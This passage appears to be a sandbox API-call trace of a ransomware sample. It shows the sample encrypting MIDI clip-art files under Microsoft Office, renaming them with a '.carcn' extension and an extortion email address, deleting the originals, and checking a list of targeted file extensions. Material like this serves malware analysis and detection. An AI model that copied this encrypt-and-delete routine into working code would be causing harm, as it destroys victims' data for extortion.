(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0270.682] GetLastError () returned 0x0 [0270.682] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2466, lpOverlapped=0x0) returned 1 [0270.726] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2470, lpOverlapped=0x0) returned 1 [0270.728] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.728] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.728] SetEndOfFile (hFile=0x558) returned 1 [0270.728] CloseHandle (hObject=0x558) returned 1 [0270.728] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.728] SetEndOfFile (hFile=0x554) returned 1 [0270.732] CloseHandle (hObject=0x554) returned 1 [0270.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0270.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.733] lstrlenW (lpString=".doc") returned 4 [0270.733] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.733] lstrlenW (lpString=".docx") returned 5 [0270.733] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0270.733] lstrlenW (lpString=".pdf") returned 4 [0270.734] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.734] lstrlenW (lpString=".xls") returned 4 [0270.734] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.734] lstrlenW (lpString=".xlsx") returned 5 [0270.734] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0270.734] lstrlenW (lpString=".ppt") returned 4 [0270.734] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.734] lstrlenW (lpString=".zip") returned 4 [0270.734] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.734] lstrlenW (lpString=".rar") returned 4 [0270.734] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.734] lstrlenW (lpString=".bz2") returned 4 [0270.734] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.734] lstrlenW (lpString=".7z") returned 3 [0270.734] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.734] lstrlenW (lpString=".dbf") returned 4 [0270.734] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.734] lstrlenW (lpString=".1cd") returned 4 [0270.734] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.734] lstrlenW (lpString=".jpg") returned 4 [0270.735] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.735] lstrlenW (lpString=".doc") returned 4 [0270.735] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.735] lstrlenW (lpString=".docx") returned 5 [0270.735] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0270.735] lstrlenW (lpString=".pdf") returned 4 [0270.735] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.735] lstrlenW (lpString=".xls") returned 4 [0270.735] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.735] lstrlenW (lpString=".xlsx") returned 5 [0270.735] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0270.735] lstrlenW (lpString=".ppt") returned 4 [0270.735] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.736] lstrlenW (lpString=".zip") returned 4 [0270.736] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.736] lstrlenW (lpString=".rar") returned 4 [0270.736] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.736] lstrlenW (lpString=".bz2") returned 4 [0270.736] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.736] lstrlenW (lpString=".7z") returned 3 [0270.736] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.736] lstrlenW (lpString=".dbf") returned 4 [0270.736] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.736] lstrlenW (lpString=".1cd") returned 4 [0270.736] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0270.736] lstrlenW (lpString=".jpg") returned 4 [0270.736] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.736] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.736] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0270.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.738] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=7567) returned 1 [0270.738] CloseHandle (hObject=0x554) returned 1 [0270.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0270.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.739] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.739] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0270.740] GetLastError () returned 0x0 [0270.740] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0270.770] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1d90, lpOverlapped=0x0) returned 1 [0270.772] ReadFile (in: hFile=0x554, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.772] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.772] SetEndOfFile (hFile=0x558) returned 1 [0271.148] CloseHandle (hObject=0x558) returned 1 [0271.148] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.148] SetEndOfFile (hFile=0x554) returned 1 [0271.151] CloseHandle (hObject=0x554) returned 1 [0271.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0271.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.300] lstrlenW (lpString=".doc") returned 4 [0271.300] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.300] lstrlenW (lpString=".docx") returned 5 [0271.300] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.300] lstrlenW (lpString=".pdf") returned 4 [0271.300] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.300] lstrlenW (lpString=".xls") returned 4 [0271.301] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.301] lstrlenW (lpString=".xlsx") returned 5 [0271.301] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.301] lstrlenW (lpString=".ppt") returned 4 [0271.301] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.301] lstrlenW (lpString=".zip") returned 4 [0271.301] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.301] lstrlenW (lpString=".rar") returned 4 [0271.301] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.301] lstrlenW (lpString=".bz2") returned 4 [0271.301] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.301] lstrlenW (lpString=".7z") returned 3 [0271.301] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.317] lstrlenW (lpString=".dbf") returned 4 [0271.317] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.317] lstrlenW (lpString=".1cd") returned 4 [0271.317] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.317] lstrlenW (lpString=".jpg") returned 4 [0271.317] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.318] lstrlenW (lpString=".doc") returned 4 [0271.318] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.318] lstrlenW (lpString=".docx") returned 5 [0271.318] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.318] lstrlenW (lpString=".pdf") returned 4 [0271.318] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.318] lstrlenW (lpString=".xls") returned 4 [0271.318] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.318] lstrlenW (lpString=".xlsx") returned 5 [0271.318] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.318] lstrlenW (lpString=".ppt") returned 4 [0271.318] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.318] lstrlenW (lpString=".zip") returned 4 [0271.318] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.318] lstrlenW (lpString=".rar") returned 4 [0271.318] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.318] lstrlenW (lpString=".bz2") returned 4 [0271.318] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.318] lstrlenW (lpString=".7z") returned 3 [0271.318] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.318] lstrlenW (lpString=".dbf") returned 4 [0271.318] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.318] lstrlenW (lpString=".1cd") returned 4 [0271.318] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0271.319] lstrlenW (lpString=".jpg") returned 4 [0271.319] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.319] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.319] lstrlenW (lpString="HTECH_01.MID") returned 12 [0271.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0271.320] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=7178) returned 1 [0271.320] CloseHandle (hObject=0x558) returned 1 [0271.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0271.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0271.321] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.321] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0271.322] GetLastError () returned 0x0 [0271.322] ReadFile (in: hFile=0x558, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0271.388] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0271.389] ReadFile (in: hFile=0x558, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.389] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0271.389] SetEndOfFile (hFile=0x548) returned 1 [0271.390] CloseHandle (hObject=0x548) returned 1 [0271.390] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.390] SetEndOfFile (hFile=0x558) returned 1 [0271.394] CloseHandle (hObject=0x558) returned 1 [0271.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0271.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.396] lstrlenW (lpString=".doc") returned 4 [0271.396] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.396] lstrlenW (lpString=".docx") returned 5 [0271.396] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.396] lstrlenW (lpString=".pdf") returned 4 [0271.396] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.396] lstrlenW (lpString=".xls") returned 4 [0271.396] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.397] lstrlenW (lpString=".xlsx") returned 5 [0271.397] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.397] lstrlenW (lpString=".ppt") returned 4 [0271.397] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.397] lstrlenW (lpString=".zip") returned 4 [0271.397] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.397] lstrlenW (lpString=".rar") returned 4 [0271.397] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.397] lstrlenW (lpString=".bz2") returned 4 [0271.397] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.397] lstrlenW (lpString=".7z") returned 3 [0271.397] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.397] lstrlenW (lpString=".dbf") returned 4 [0271.397] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.397] lstrlenW (lpString=".1cd") returned 4 [0271.397] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.397] lstrlenW (lpString=".jpg") returned 4 [0271.397] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.398] lstrlenW (lpString=".doc") returned 4 [0271.398] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.398] lstrlenW (lpString=".docx") returned 5 [0271.398] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.398] lstrlenW (lpString=".pdf") returned 4 [0271.398] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.398] lstrlenW (lpString=".xls") returned 4 [0271.398] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.398] lstrlenW (lpString=".xlsx") returned 5 [0271.398] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.398] lstrlenW (lpString=".ppt") returned 4 [0271.398] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.398] lstrlenW (lpString=".zip") returned 4 [0271.398] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.398] lstrlenW (lpString=".rar") returned 4 [0271.398] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.398] lstrlenW (lpString=".bz2") returned 4 [0271.398] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.398] lstrlenW (lpString=".7z") returned 3 [0271.398] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.398] lstrlenW (lpString=".dbf") returned 4 [0271.398] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.399] lstrlenW (lpString=".1cd") returned 4 [0271.399] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0271.399] lstrlenW (lpString=".jpg") returned 4 [0271.399] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.399] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.399] lstrlenW (lpString="JAVA_01.MID") returned 11 [0271.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0271.401] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=9797) returned 1 [0271.401] CloseHandle (hObject=0x558) returned 1 [0271.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0271.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0271.402] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.402] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0271.404] GetLastError () returned 0x0 [0271.404] ReadFile (in: hFile=0x558, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, 